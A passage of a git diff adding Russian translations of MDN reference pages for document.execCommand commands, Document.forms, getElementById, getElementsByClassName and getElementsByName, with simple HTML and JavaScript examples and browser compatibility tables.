+ <dd>Копирует выделенное в буфер обмена. Возможность такого поведения отличается от браузера к браузеру и расширяется со временем. Следует проверить таблицу совместимости, чтобы убедиться в возможности использования.</dd>
+</dl>
+
+<dl>
+ <dt>createLink</dt>
+ <dd>Создает ссылку из выделения, если таковое имеется. Необходима передача HREF URI в качестве аргумента. URI должен содержать как минимум один символ, допускается пробельный. (Internet Explorer создаст ccылку и без URI.)</dd>
+</dl>
+
+<dl>
+ <dt>cut</dt>
+ <dd>Вырезает выделенное и помещает его в буфер обмена. Возможность такого поведения отличается от браузера к браузеру и расширяется со временем. Следует проверить таблицу совместимости, чтобы убедиться в возможности использования.</dd>
+</dl>
+
+<dl>
+ <dt>decreaseFontSize</dt>
+ <dd>Добавляет тег {{HTMLElement("small")}} вокруг выделения или с места ввода текста. (Не поддерживается Internet Explorer.)</dd>
+</dl>
+
+<dl>
+ <dt>delete</dt>
+ <dd>Удаляет выделенное.</dd>
+</dl>
+
+<dl>
+ <dt>enableInlineTableEditing</dt>
+ <dd>Включает/выключает возможность вставки и удаления строк/столбцов таблицы. (Не поддерживается Internet Explorer.)</dd>
+</dl>
+
+<dl>
+ <dt>enableObjectResizing</dt>
+ <dd>Включает/выключает возможность изменения размера картинок и других объектов. (Не поддерживается Internet Explorer.)</dd>
+</dl>
+
+<dl>
+ <dt>fontName</dt>
+ <dd>Изменяет название шрифта для выделенного текста или с места ввода текста. Требует передачи в качестве аргумента наименования шрифта (напр., "Arial") </dd>
+</dl>
+
+<dl>
+ <dt>fontSize</dt>
+ <dd>Изменяет размер шрифта  выделенного текста или с места ввода текста. Требует передачи в качестве аргумента размера шрифта (1-7).</dd>
+</dl>
+
+<dl>
+ <dt>foreColor</dt>
+ <dd>Изменяет цвет шрифта выделенного текста или с места ввода текста. Требует передачи в качестве аргумента наименования шрифта.</dd>
+</dl>
+
+<dl>
+ <dt>formatBlock</dt>
+ <dd>Добавляет тег HTML-блока вокруг строк, содержащих в себе выделенный текст, заменяя блочный элемент, содержащий такие строки, если он существует (в Firefox, BLOCKQUOTE  является исключением - он обернет любой блочный элемент). Требует передачи в качестве аргумента наименования Тега. Теоретически может использоваться любой блочный тег (напр., "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer поддерживает только теги заголовков H1 - H6, ADDRESS и PRE, которые должны также быть заключены в символы &lt; &gt;, как например: "&lt;H1&gt;".)</dd>
+</dl>
+
+<dl>
+ <dt>forwardDelete</dt>
+ <dd>Удаляет символ справа от курсора, так же как при нажатии на клавишу delete.</dd>
+ <dt>heading</dt>
+ <dd>Добавляет тег заголовка вокруг выделенного текста либо в месте, где установлен курсор.<br>
+ Требует передачи строки имени тега в качестве аргумента. (то есть "H1", "H6"). (Не поддерживается в Internet Explorer и Safari)</dd>
+</dl>
+
+<dl>
+ <dt>hiliteColor</dt>
+ <dd>Изменяет цвет фона для выделенного текста либо в месте, где установлен курсор. Требует передачи цвета в качестве аргумента. UseCSS должен быть включен для работы этой функции. (Не поддерживается в Internet Explorer)</dd>
+</dl>
+
+<dl>
+ <dt>increaseFontSize</dt>
+ <dd>Добавляет тег BIG вокруг выделенного текста или на месте курсора. (Не поддерживается в Internet Explorer)</dd>
+</dl>
+
+<dl>
+ <dt>indent</dt>
+ <dd>Добавляет отступ в строку, в которой расположен курсор (или что-то выделено). В Firefox, если выделение охватывает несколько строк с разными уровнями отступа, будут сдвинуты только строки с наименьшим отступом.</dd>
+</dl>
+
+<dl>
+ <dt>insertBrOnReturn</dt>
+ <dd>Добавляет тег {{HTMLElement("br")}} или разбивает текущий элемент на два блока. Не работает в Internet Explorer</dd>
+</dl>
+
+<dl>
+ <dt>insertHorizontalRule</dt>
+ <dd>Вставляет горизонтальную линию на месте курсора (удаляет выделение).</dd>
+</dl>
+
+<dl>
+ <dt>insertHTML</dt>
+ <dd>Вставляет HTML текст на месте курсора (удаляет выделенный текст). Требует передачи правильной HTML строки в качестве аргумента. (Не поддерживается в Internet Explorer)</dd>
+</dl>
+
+<dl>
+ <dt>insertImage</dt>
+ <dd>Вставляет изображение на место курсора (удаляет выделенный текст). Необходимо указывать ссылку на изображение в параметре "aValueArgument".  (Internet Explorer может создавать изображения с пустым SRC)</dd>
+</dl>
+
+<dl>
+ <dt>insertOrderedList</dt>
+ <dd>Создает пронумерованный список из выбранного или на месте курсора.</dd>
+</dl>
+
+<dl>
+ <dt>insertUnorderedList</dt>
+ <dd>Создает список из выбранного или на месте курсора.</dd>
+</dl>
+
+<dl>
+ <dt>insertParagraph</dt>
+ <dd>Вставляет параграф вокруг выделения или для текущей строки. (Internet Explorer вставляет параграф в месте курсора и удаляет выделенный текст)</dd>
+ <dt>insertText</dt>
+ <dd>Вставляет простой текст в месте курсора или выделения (выделенный текст будет заменен).</dd>
+</dl>
+
+<dl>
+ <dt>italic</dt>
+ <dd>Переключает курсив в месте курсора или выделения. (Internet Explorer использует теги {{HTMLElement("em")}} вместо {{HTMLElement("i")}}.)</dd>
+</dl>
+
+<dl>
+ <dt>justifyCenter</dt>
+ <dd>Центрирует строку, в которой есть выделение или установлен курсор.</dd>
+</dl>
+
+<dl>
+ <dt>justifyFull</dt>
+ <dd>Выравнивает по ширине строку, в которой есть выделение или установлен курсор.</dd>
+</dl>
+
+<dl>
+ <dt>justifyLeft</dt>
+ <dd>Выравнивает  по левому краю строку, в которой есть выделение или установлен курсор.</dd>
+</dl>
+
+<dl>
+ <dt>justifyRight</dt>
+ <dd>Выравнивает  по правому краю строку, в которой есть выделение или установлен курсор.</dd>
+</dl>
+
+<dl>
+ <dt>outdent</dt>
+ <dd>Добавляет выступ для строки, в которой расположен курсор (или что-то выделено).</dd>
+</dl>
+
+<dl>
+ <dt>paste</dt>
+ <dd>Вставляет данные из буфера обмена в место курсора или выделения (последнее заменяется). Доступ к буферу обмена должен быть включен в файле user.js</dd>
+</dl>
+
+<dl>
+ <dt>redo</dt>
+ <dd>Повтор последнего действия. (Если было отменено с помощью <strong>undo</strong> или <strong>ctrl+z</strong>)</dd>
+</dl>
+
+<dl>
+ <dt>removeFormat</dt>
+ <dd>Очищает форматирование для выделенного.</dd>
+</dl>
+
+<dl>
+ <dt>selectAll</dt>
+ <dd>Выделяет всё в редактируемом документе.</dd>
+</dl>
+
+<dl>
+ <dt>strikeThrough</dt>
+ <dd>Переключает зачеркивание текста для выделения или на месте курсора.</dd>
+</dl>
+
+<dl>
+ <dt>subscript</dt>
+ <dd>Переключает нижний индекс для выбранного или на месте курсора.</dd>
+</dl>
+
+<dl>
+ <dt>superscript</dt>
+ <dd>Переключает верхний индекс для выбранного или на месте курсора.</dd>
+</dl>
+
+<dl>
+ <dt>underline</dt>
+ <dd>Переключает подчёркивание для выбранного или на месте курсора.</dd>
+</dl>
+
+<dl>
+ <dt>undo</dt>
+ <dd>Отменяет последнее действие.</dd>
+</dl>
+
+<dl>
+ <dt>unlink</dt>
+ <dd>Удаляет ссылку или якорь для выбранной ссылки/якоря</dd>
+</dl>
+
+<dl>
+ <dt>useCSS {{ Deprecated_inline() }}</dt>
+ <dd>Переключает режим стилизации HTML и CSS для генерируемой разметки. Может принимать только булевы значения true/false. ПРИМЕЧАНИЕ: этот аргумент с перевернутой логикой (т.е. false = CSS / true = HTML). (Не поддерживается в Internet Explorer.) <strong>Внимание! Эта команда является устаревшей, используйте <em>styleWithCSS.</em></strong></dd>
+</dl>
+
+<dl>
+ <dt>styleWithCSS</dt>
+ <dd><strong>Заменяет команду useCSS.</strong> Аргумент работает как ожидалось, т.е. true модифицирует/генерирует атрибуты стиля в разметке, false генерирует элементы форматирования.</dd>
+</dl>
+</blockquote>
+</div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="notranslate"><code>iframeNode</code>.execCommand("bold"); // Жирный текст
+<code>iframeNode</code>.execCommand("undo"); // Отмена последнего действия
+<code>iframeNode</code>.execCommand("insertText", false, "Lorem ipsum dolor sit amet, consectetur adipisicing elit."); // Вставка текста
+</pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>insertBrOnReturn</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing','#execcommand()','execCommand')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("document.contentEditable")}}</li>
+ <li>{{domxref("document.designMode")}}</li>
+ <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing в Mozilla</a></li>
+</ul>
diff --git a/files/ru/web/api/document/forms/index.html b/files/ru/web/api/document/forms/index.html
new file mode 100644
index 0000000000..a6d356208b
--- /dev/null
+++ b/files/ru/web/api/document/forms/index.html
@@ -0,0 +1,130 @@
+---
+title: Document.forms
+slug: Web/API/Document/forms
+tags:
+  - API
+  - DOM
+  - Document
+  - Forms
+  - Property
+translation_of: Web/API/Document/forms
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>forms</code> возвращает коллекцию ({{domxref("HTMLCollection")}}) форм в текущем документе</p>
+
+<div class="blockIndicator note">
+<p><strong>На заметку:</strong> Точно также Вы можете получить список элементов выбранной формы, используя свойство {{domxref("HTMLFormElement.elements")}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>collection</var> = document.forms;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Объект {{domxref("HTMLCollection")}} содержит все формы, имеющиеся на странице. Каждый элемент этой коллекции - это {{domxref("HTMLFormElement")}}, представленный отдельным тегом <code>&lt;form&gt;</code>.</p>
+
+<p>Если на странице форм нет, тогда возвращённый результат будет пустым, а длина коллекции равна нулю.</p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<h3 id="Получение_информации_с_формы">Получение информации с формы</h3>
+
+<pre><code>&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+
+&lt;head&gt;
+&lt;title&gt;document.forms example&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;form id="robby"&gt;
+  &lt;input type="button" onclick="alert(document.forms[0].id);" value="robby's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="dave"&gt;
+  &lt;input type="button" onclick="alert(document.forms[1].id);" value="dave's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="paul"&gt;
+  &lt;input type="button" onclick="alert(document.forms[2].id);" value="paul's form" /&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</code></pre>
+
+<h3 id="Получение_элемента_формы">Получение элемента формы</h3>
+
+<pre><code>var selectForm = document.forms[index];
+var selectFormElement = document.forms[index].elements[index];</code></pre>
+
+<h3 id="Обращение_к_форме_по_её_имени">Обращение к форме по её имени</h3>
+
+<pre><code>&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  &lt;title&gt;document.forms example&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;form name="login"&gt;
+  &lt;input name="email" type="email"&gt;
+  &lt;input name="password" type="password"&gt;
+  &lt;button type="submit"&gt;Log in&lt;/button&gt;
+&lt;/form&gt;
+
+&lt;script&gt;
+  var loginForm = document.forms.login; // Or document.forms['login']
+  loginForm.elements.email.placeholder = 'test@example.com';
+  loginForm.elements.password.placeholder = 'password';
+&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</code></pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_Also" name="See_Also">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите https://github.com/mdn/browser-compat-data и отправьте нам пул реквест.</p>
+</div>
+
+<p>{{Compat("api.Document.forms")}}</p>
+
+<h2 id="See_Also" name="See_Also">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms">HTML forms</a></li>
+ <li>{{HTMLElement("form")}} и интерфейс {{domxref("HTMLFormElement")}}</li>
+</ul>
+
+<p>{{APIRef("DOM")}}</p>
+
+<ul>
+ <li></li>
+</ul>
diff --git a/files/ru/web/api/document/getelementbyid/index.html b/files/ru/web/api/document/getelementbyid/index.html
new file mode 100644
index 0000000000..3def765a4d
--- /dev/null
+++ b/files/ru/web/api/document/getelementbyid/index.html
@@ -0,0 +1,156 @@
+---
+title: document.getElementById()
+slug: Web/API/Document/getElementById
+translation_of: Web/API/Document/getElementById
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div> </div>
+
+<p>Возвращает ссылку на элемент по его идентификатору (<a href="/en-US/docs/DOM/element.id" title="en-US/docs/DOM/element.id">ID</a>); идентификатор является строкой, которая может быть использована для идентификации элемента; она может быть определена при помощи атрибута <code>id</code> в HTML или из скрипта.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>element</em> = document.getElementById(<em>id</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><strong><code>id </code></strong></dt>
+ <dd>чувствительная к регистру строка, являющаяся уникальным идентификатором искомого элемента.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<dl>
+ <dd>
+ <p>ссылка на объект типа {{domxref("Element")}} соответствующий указанному ID или <code>null</code>, если элемент с указанным ID не найден в документе.</p>
+ </dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;getElementById example&lt;/title&gt;
+  &lt;script&gt;
+  function changeColor(newColor) {
+    var elem = document.getElementById("para1");
+    elem.style.color = newColor;
+  }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p id="para1"&gt;Some text here&lt;/p&gt;
+  &lt;button onclick="changeColor('blue');"&gt;blue&lt;/button&gt;
+  &lt;button onclick="changeColor('red');"&gt;red&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Замечания</h2>
+
+<p>Начинающим следует знать, что верхний регистр в части имени метода 'Id' <em>должен </em>быть точным для корректного вызова функции; "getElementByID" будет <em>не корректно</em>, как бы естественно это ни казалось.</p>
+
+<p><code>Если элементы с указанным id отсутствуют</code>, функция вернёт null. Заметьте, что параметр id чувствителен к регистру, так <code>document.getElementById("<strong>M</strong>ain")</code> вернёт <code>null</code> вместо элемента <code>&lt;div id="<strong>m</strong>ain"&gt;</code>, потому что "M" и "m" различны для этого метода.</p>
+
+<p><strong>Элементы вне документа</strong> не ищутся <code>getElementById()</code>. При создании элемента и назначении ему ID, вам следует вставить элемент в дерево документа с помощью {{domxref("Node.insertBefore()")}} или подобным методом, до того как вы сможете получить к нему доступ при помощи <code>getElementById()</code>:</p>
+
+<pre class="brush: js">var element = document.createElement("div");
+element.id = 'testqq';
+var el = document.getElementById('testqq'); // el will be null!
+</pre>
+
+<p><strong>Не-HTML документы</strong>. Релизация DOM должна содержать информацию, сообщающую о том, какие атрибуты являются идентификаторами. Атрибуты с именем "id" не являются идентификаторами только если это не указано в описании типа документа (DTD). Атрибут "id" определён в качестве идентификатора в общих случаях <a href="/en-US/docs/XHTML" title="en-US/docs/XHTML">XHTML</a>, <a href="/en-US/docs/XUL" title="en-US/docs/XUL">XUL</a>, и других. От реализаций, которые не знают, какой атрибут является идентификатором, ожидается возврат null.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Исходное определение интерфейса</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Заменяет DOM 1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Заменяет DOM 2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Должен заменить DOM 3</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимось в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop(1.0) }}</td>
+   <td>5.5</td>
+   <td>7.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile(1.0) }}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Document")}} ссылка для иных методов и свойств которые вы можете использовать для получения ссылок на иные элементы.</li>
+ <li>{{domxref("Document.querySelector()")}} <span class="short_text" id="result_box" lang="ru"><span>для выборки по таким запросам, как</span></span> <code>'div.myclass'</code></li>
+ <li><a href="/en-US/docs/xml/xml:id" title="en-US/docs/xml/id">xml:id</a> - <span id="result_box" lang="ru"><span>имеет метод, позволяющий getElementById() получать «xml: id» в XML-документах (например, возвращаемые вызовами Ajax)</span></span></li>
+</ul>
diff --git a/files/ru/web/api/document/getelementsbyclassname/index.html b/files/ru/web/api/document/getelementsbyclassname/index.html
new file mode 100644
index 0000000000..df6fefb2b8
--- /dev/null
+++ b/files/ru/web/api/document/getelementsbyclassname/index.html
@@ -0,0 +1,125 @@
+---
+title: Document.getElementsByClassName()
+slug: Web/API/Document/getElementsByClassName
+translation_of: Web/API/Document/getElementsByClassName
+---
+<p id="Summary">{{APIRef("DOM")}}</p>
+
+<p>Возвращает массивоподобный (итерируемый) объект всех дочерних элементов, соответствующих всем из указанных имен классов. В случае вызова по отношению к объекту 'document', поиск происходит по всему документу, включая корневой элемент. Вызывать {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} можно также применительно к любому элементу: возвращены будут лишь те элементы, которые являются потомками указанного корневого элемента и имеют при этом указанные классы.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>var elements</var> = document.getElementsByClassName(<em>names</em>); // или:
+<var>var elements</var> = rootElement.getElementsByClassName(<em>names</em>);</pre>
+
+<ul>
+ <li><var>В "elements"</var> будет текущая  {{ domxref("HTMLCollection") }} найденных елементов.</li>
+ <li><var>"names"</var> - строка, состоящая из списка имен искомых классов; имена классов разделяют пробелами.</li>
+ <li>getElementsByClassName может быть вызвана по отношению к любому элементу, не только для документа целиком. ("document"). Элемент, по отношению к которому осуществляется вызов, используется для целей поиска в качестве корневого элемента.</li>
+</ul>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Получить все элементы класса 'test':</p>
+
+<pre class="brush: js">document.getElementsByClassName('test');</pre>
+
+<p>Получить все элементы, для которых заданы класс 'red' и класс 'test':</p>
+
+<pre class="brush: js">document.getElementsByClassName('red test');</pre>
+
+<p>Получить все элементы класса 'test', являющиеся дочерними для элемента с ID 'main':</p>
+
+<pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre>
+
+<p>Мы также можем использовать методы из Array.prototype по отношению к любой {{ domxref("HTMLCollection") }}, передавая коллекцию в качестве значения <em>this</em> метода. Код в примере найдет все элементы 'div' с классом 'test':</p>
+
+<pre class="brush: js">var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement){
+    return testElement.nodeName === 'DIV';
+});</pre>
+
+<h2 id="Получение_элементов_класса_'test'">Получение элементов класса 'test'</h2>
+
+<p>Ниже приведен пример наиболее употребительного способа использования данного метода.</p>
+
+<pre>&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="UTF-8"&gt;
+    &lt;title&gt;Document&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div id="parent-id"&gt;
+        &lt;p&gt;hello word1&lt;/p&gt;
+        &lt;p class="test"&gt;hello word2&lt;/p&gt;
+        &lt;p &gt;hello word3&lt;/p&gt;
+        &lt;p&gt;hello word4&lt;/p&gt;
+    &lt;/div&gt;
+    &lt;script&gt;
+        var parentDOM = document.getElementById("parent-id");
+
+        var test=parentDOM.getElementsByClassName("test");//test is not target element
+        console.log(test);//HTMLCollection[1]
+
+        var testTarget=parentDOM.getElementsByClassName("test")[0];//hear , this element is target
+        console.log(testTarget);//&lt;p class="test"&gt;hello word2&lt;/p&gt;
+    &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Уровень</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>3.0</td>
+   <td>9.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Уровень</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname"><span class="external">W3C: getElementsByClassName</span></a></li>
+</ul>
diff --git a/files/ru/web/api/document/getelementsbyname/index.html b/files/ru/web/api/document/getelementsbyname/index.html
new file mode 100644
index 0000000000..73b8921d61
--- /dev/null
+++ b/files/ru/web/api/document/getelementsbyname/index.html
@@ -0,0 +1,90 @@
+---
+title: Document.getElementsByName()
+slug: Web/API/Document/getElementsByName
+translation_of: Web/API/Document/getElementsByName
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">Метод <strong><code>getElementsByName()</code></strong>  объекта {{domxref("Document")}} возвращает коллекцию {{domxref("NodeList")}} элементов с заданным  {{domxref("element.name","name")}}.</span></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>elements</var> = document.getElementsByName(<var>name</var>);
+</pre>
+
+<ul>
+ <li><var>elements</var> — это живая {{domxref("NodeList")}} коллекция. То есть,  она автоматически обновляется, когда элементы с таким же <code>name</code> добавляются/удаляются из документа.</li>
+ <li><var>name </var>— это значение поля  <code>name</code> элемента(элементов).</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;title&gt;Example: using document.getElementsByName&lt;/title&gt;
+
+&lt;input type="hidden" name="up"&gt;
+&lt;input type="hidden" name="down"&gt;
+
+&lt;script&gt;
+  var up_names = document.getElementsByName("up");
+  console.log(up_names[0].tagName); // displays "INPUT"
+&lt;/script&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>The {{domxref("element.name","name")}} attribute can only be applied in (X)HTML documents.</p>
+
+<p>The returned {{domxref("NodeList")}} Collection contains <em>all</em> elements with the given <code>name</code>, such as {{htmlelement("meta")}}, {{htmlelement("object")}}, and even elements which do not support the <code>name</code> attribute at all.</p>
+
+<div class="warning">
+<p>The <strong>getElementsByName</strong> method works differently in IE10 and below. There, <code>getElementsByName()</code> also returns elements that have an <a href="/en-US/docs/Web/HTML/Global_attributes/id"><code>id</code> attribute</a> with the specified value. Be careful not to use the same string as both a <code>name</code> and an <code>id</code>.</p>
+</div>
+
+<div class="warning">
+<p>The <strong>getElementsByName</strong> method works differently in IE. There, <code>getElementsByName()</code> does not return all elements which may not have a <code>name</code> attribute (such as <code>&lt;span&gt;</code>).</p>
+</div>
+
+<div class="warning">
+<p>Both IE and Edge return an {{domxref("HTMLCollection")}}, not a {{domxref("NodeList")}}</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-71555259", "Document.getElementsByName()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.getElementsByName")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("document.getElementById()")}} to return a reference to an element by its unique <code>id</code></li>
+ <li>{{domxref("document.getElementsByTagName()")}} to return references to elements with the same <a href="/en-US/docs/Web/API/Element/tagName">tag name</a></li>
+ <li>{{domxref("document.querySelector()")}} to return references to elements via CSS selectors like <code>'div.myclass'</code></li>
+</ul>
diff --git a/files/ru/web/api/document/getelementsbytagname/index.html b/files/ru/web/api/document/getelementsbytagname/index.html
new file mode 100644
index 0000000000..2829204e72
--- /dev/null
+++ b/files/ru/web/api/document/getelementsbytagname/index.html
@@ -0,0 +1,103 @@
+---
